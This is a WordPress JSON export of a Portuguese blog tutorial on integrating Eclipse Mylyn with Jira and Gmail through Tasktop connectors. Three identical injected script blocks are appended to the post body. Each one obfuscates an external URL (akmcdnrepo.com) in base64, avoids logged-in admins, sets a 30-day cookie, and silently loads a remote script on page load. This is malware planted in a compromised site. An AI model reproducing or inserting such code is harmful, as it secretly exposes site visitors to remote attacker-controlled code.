{"id":324,"date":"2010-09-23T01:10:25","date_gmt":"2010-09-23T04:10:25","guid":{"rendered":"http:\/\/www.thiagovespa.com.br\/blog\/?p=324"},"modified":"2025-10-26T22:43:21","modified_gmt":"2025-10-27T01:43:21","slug":"integrando-eclipse-com-google-gmail-eou-jira","status":"publish","type":"post","link":"https:\/\/thiagovespa.com.br\/blog\/2010\/09\/23\/integrando-eclipse-com-google-gmail-eou-jira\/","title":{"rendered":"Integrando eclipse com google gmail e\/ou jira"},"content":{"rendered":"<p style=\"text-align: justify;\">O eclipse tem um recurso interessante que possibilita a integra\u00e7\u00e3o com task, change, bug, project, \"blabla\" tracking management systems :). Ele \u00e9 conhecido como <a title=\"Mylyn\" href=\"http:\/\/www.eclipse.org\/mylyn\/\" target=\"_blank\" rel=\"noopener\">Mylyn<\/a>. Nesse post eu irei descrever como integrar com o <a title=\"Google Tasks\" href=\"http:\/\/mail.google.com\/mail\/help\/tasks\/\" target=\"_blank\" rel=\"noopener\">Google Tasks<\/a> e <a title=\"Jira\" href=\"http:\/\/www.atlassian.com\/software\/jira\/\" target=\"_blank\" rel=\"noopener\">Jira<\/a> que s\u00e3o os que eu mais uso. Existem v\u00e1rios outros, seguindo o mesmo procedimento como o <a title=\"Bugzilla\" href=\"http:\/\/www.bugzilla.org\/\" target=\"_blank\" rel=\"noopener\">Bugzilla<\/a> e o <a title=\"Trac\" href=\"http:\/\/trac.edgewall.org\/\" target=\"_blank\" rel=\"noopener\">Trac<\/a>, que \u00e9 muito bom, mas estou h\u00e1 algum tempo sem utilizar.<\/p>\n<p style=\"text-align: justify;\">Para habilitar esse recurso, basta voc\u00ea ir na View \"Task List\". Caso voc\u00ea n\u00e3o esteja vendo essa tela, acessar Window, Show View, Task List.<\/p>\n<figure id=\"attachment_325\" aria-describedby=\"caption-attachment-325\" style=\"width: 274px\" class=\"wp-caption aligncenter\"><a href=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/09\/Screenshot-TaskList.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-325 \" title=\"Task List\" src=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/09\/Screenshot-TaskList.png\" alt=\"Task List\" width=\"274\" height=\"282\" \/><\/a><figcaption id=\"caption-attachment-325\" class=\"wp-caption-text\">Task List<\/figcaption><\/figure>\n<p style=\"text-align: justify;\">Nessa tela, clicar no primeiro \u00edcone e selecionar a op\u00e7\u00e3o Add Repository. A integra\u00e7\u00e3o com o <a title=\"Bugzilla\" href=\"http:\/\/www.bugzilla.org\/\" target=\"_blank\" rel=\"noopener\">Bugzilla<\/a> j\u00e1 deve estar configurada. Clique em Install More Connectors... ir\u00e1 abrir uma tela com os conectores dispon\u00edveis para o Mylyn.<\/p>\n<p style=\"text-align: center;\">\n<figure id=\"attachment_327\" aria-describedby=\"caption-attachment-327\" style=\"width: 247px\" class=\"wp-caption aligncenter\"><a href=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/09\/Screenshot-InstallConnectors.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-327 \" title=\"Install Connectors\" src=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/09\/Screenshot-InstallConnectors-247x300.png\" alt=\"Install Connectors\" width=\"247\" height=\"300\" srcset=\"https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/09\/Screenshot-InstallConnectors-247x300.png 247w, https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/09\/Screenshot-InstallConnectors.png 587w\" sizes=\"auto, (max-width: 247px) 100vw, 247px\" \/><\/a><figcaption id=\"caption-attachment-327\" class=\"wp-caption-text\">Install Connectors<\/figcaption><\/figure>\n<p style=\"text-align: justify;\">Escolha as op\u00e7\u00f5es desejadas. No meu caso, Google Mail and Calendar e JIRA. Clique em Finish.<\/p>\n<p style=\"text-align: justify;\">\n<figure id=\"attachment_427\" aria-describedby=\"caption-attachment-427\" style=\"width: 300px\" class=\"wp-caption aligncenter\"><a href=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/09\/Screenshot-Install.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-427 \" title=\"Install\" src=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/09\/Screenshot-Install-300x210.png\" alt=\"Install\" width=\"300\" height=\"210\" srcset=\"https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/09\/Screenshot-Install-300x210.png 300w, https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/09\/Screenshot-Install.png 713w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><figcaption id=\"caption-attachment-427\" class=\"wp-caption-text\">Install<\/figcaption><\/figure>\n<p style=\"text-align: justify;\">Revise as op\u00e7\u00f5es e clique em Next, Next, concorde com os termos se deseja prosseguir e clique em Finish. Aguarde a instala\u00e7\u00e3o dos conectores. Pode demorar alguns minutos e a instala\u00e7\u00e3o pode entrar em background. Caso tenha algum aviso de software n\u00e3o assinado, clique em OK para prosseguir. Ap\u00f3s a instala\u00e7\u00e3o, clique em Restart Now.<\/p>\n<p style=\"text-align: justify;\">Ao iniciar o Eclipse, me apareceu a seguinte janela:<\/p>\n<p style=\"text-align: justify;\">\n<figure id=\"attachment_429\" aria-describedby=\"caption-attachment-429\" style=\"width: 243px\" class=\"wp-caption aligncenter\"><a href=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/09\/Screenshot-Welcome.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-429 \" title=\"Welcome\" src=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/09\/Screenshot-Welcome-243x300.png\" alt=\"Welcome\" width=\"243\" height=\"300\" srcset=\"https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/09\/Screenshot-Welcome-243x300.png 243w, https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/09\/Screenshot-Welcome.png 584w\" sizes=\"auto, (max-width: 243px) 100vw, 243px\" \/><\/a><figcaption id=\"caption-attachment-429\" class=\"wp-caption-text\">Welcome<\/figcaption><\/figure>\n<p style=\"text-align: justify;\">A configura\u00e7\u00e3o dessa etapa n\u00e3o \u00e9 necess\u00e1ria se voc\u00ea for utilizar somente o Jira. Informei os dados e criei uma nova conta clicando no bot\u00e3o Create Account. Verifique seu e-mail e clique no link de ativa\u00e7\u00e3o. Depois \u00e9 s\u00f3 clicar no bot\u00e3o Sign In do Eclipse.<\/p>\n<p style=\"text-align: justify;\">\n<figure id=\"attachment_430\" aria-describedby=\"caption-attachment-430\" style=\"width: 300px\" class=\"wp-caption aligncenter\"><a href=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/09\/Screenshot-Tasktop-License-Validation-.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-430 \" title=\"Tasktop License Validation\" src=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/09\/Screenshot-Tasktop-License-Validation--300x166.png\" alt=\"Tasktop License Validation\" width=\"300\" height=\"166\" srcset=\"https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/09\/Screenshot-Tasktop-License-Validation--300x166.png 300w, https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/09\/Screenshot-Tasktop-License-Validation-.png 532w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><figcaption id=\"caption-attachment-430\" class=\"wp-caption-text\">Tasktop License Validation<\/figcaption><\/figure>\n<p style=\"text-align: justify;\">Ap\u00f3s isso ir\u00e1 abrir uma tela sobre valida\u00e7\u00e3o peri\u00f3dica da licen\u00e7a, coloquei para a valida\u00e7\u00e3o ser feita autom\u00e1tica e cliquei em Yes. Aguarde a atualiza\u00e7\u00e3o. Clique no primeiro \u00edcone da janela de Task List e escolha a op\u00e7\u00e3o Add Task Repository. Voc\u00ea dever\u00e1 ter as seguintes op\u00e7\u00f5es:<\/p>\n<p style=\"text-align: center;\">\n<figure id=\"attachment_431\" aria-describedby=\"caption-attachment-431\" style=\"width: 300px\" class=\"wp-caption aligncenter\"><a href=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/09\/Screenshot-Add-Task-Repository-.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-431 \" title=\"Add Task Repository\" src=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/09\/Screenshot-Add-Task-Repository--300x226.png\" alt=\"Add Task Repository\" width=\"300\" height=\"226\" srcset=\"https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/09\/Screenshot-Add-Task-Repository--300x226.png 300w, https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/09\/Screenshot-Add-Task-Repository-.png 580w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><figcaption id=\"caption-attachment-431\" class=\"wp-caption-text\">Add Task Repository<\/figcaption><\/figure>\n<p style=\"text-align: justify;\">Para configurar o JIRA, escolha JIRA e clique em Next. Informe os par\u00e2metros e clique em Finish. Para criar uma nova task, escolha o reposit\u00f3rio criado, clique em Next, desmarque a op\u00e7\u00e3o Show only projects available in offline mode para visualizar os projetos.<\/p>\n<p style=\"text-align: center;\">\n<figure id=\"attachment_432\" aria-describedby=\"caption-attachment-432\" style=\"width: 300px\" class=\"wp-caption aligncenter\"><a href=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/09\/Screenshot-New-JIRA-Task-.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-432 \" title=\"New JIRA Task\" src=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/09\/Screenshot-New-JIRA-Task--300x271.png\" alt=\"New JIRA Task\" width=\"300\" height=\"271\" srcset=\"https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/09\/Screenshot-New-JIRA-Task--300x271.png 300w, https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/09\/Screenshot-New-JIRA-Task-.png 523w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><figcaption id=\"caption-attachment-432\" class=\"wp-caption-text\">New JIRA Task<\/figcaption><\/figure>\n<p>Abrir\u00e1 uma tela completa para inclus\u00e3o da nova task. Clique em Submit para enviar.<\/p>\n<p>Para criar um Query, clique com o bot\u00e3o direito em Task List, escolha a op\u00e7\u00e3o New, Query. Escolha o reposit\u00f3rio e clique em Next.<\/p>\n<figure id=\"attachment_434\" aria-describedby=\"caption-attachment-434\" style=\"width: 295px\" class=\"wp-caption aligncenter\"><a href=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/09\/Screenshot-Edit-Repository-Query-.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-434 \" title=\"Edit Repository Query\" src=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/09\/Screenshot-Edit-Repository-Query--295x300.png\" alt=\"Edit Repository Query\" width=\"295\" height=\"300\" srcset=\"https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/09\/Screenshot-Edit-Repository-Query--295x300.png 295w, https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/09\/Screenshot-Edit-Repository-Query-.png 593w\" sizes=\"auto, (max-width: 295px) 100vw, 295px\" \/><\/a><figcaption id=\"caption-attachment-434\" class=\"wp-caption-text\">Edit Repository Query<\/figcaption><\/figure>\n<p style=\"text-align: justify;\">Voc\u00ea pode criar uma nova query, utilizar uma existente no JIRA ou pr\u00e9-definidas por projeto. Eu utilizei uma consulta que j\u00e1 havia feito no JIRA e agora as minhas tasks aparecem dentro do eclipse. Ficou muito f\u00e1cil de se gerenciar. N\u00e3o posso colocar os screenshots, porque o reposit\u00f3rio do JIRA que estou utilizando \u00e9 de uma empresa que presto servi\u00e7os e assinei contrato de confidencialidade :(.<\/p>\n<p style=\"text-align: justify;\">Para configurar pro Gmail\/Calendar, \u00e9 s\u00f3 seguir o mesmo procedimento, mas selecionar Gmail no reposit\u00f3rio. Ele ir\u00e1 utilizar os labels do Gmail para realizar as queries.<\/p>\n<p style=\"text-align: justify;\"><strong>Update do dia 23\/09\/2010:<\/strong> <em>H\u00e1 a op\u00e7\u00e3o de configurar o google calendar e o gmail dentro do eclipse tamb\u00e9m. D\u00ea uma olhada nos \u00edcones criados pelo Tasktop.<\/em><\/p>\n<p style=\"text-align: justify;\">\n<p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>O eclipse tem um recurso interessante que possibilita a integra\u00e7\u00e3o com task, change, bug, project, \"blabla\" tracking management systems :). Ele \u00e9 conhecido como Mylyn. Nesse post eu irei descrever como integrar com o Google Tasks e Jira que s\u00e3o <a class=\"more-link\" href=\"https:\/\/thiagovespa.com.br\/blog\/2010\/09\/23\/integrando-eclipse-com-google-gmail-eou-jira\/\">Continue lendo  <span class=\"screen-reader-text\">  Integrando eclipse com google gmail e\/ou jira<\/span><span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"footnotes":""},"categories":[3],"tags":[],"class_list":["post-324","post","type-post","status-publish","format-standard","hentry","category-java"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/324","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/comments?post=324"}],"version-history":[{"count":0,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/324\/revisions"}],"wp:attachment":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/media?parent=324"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/categories?post=324"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/tags?post=324"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}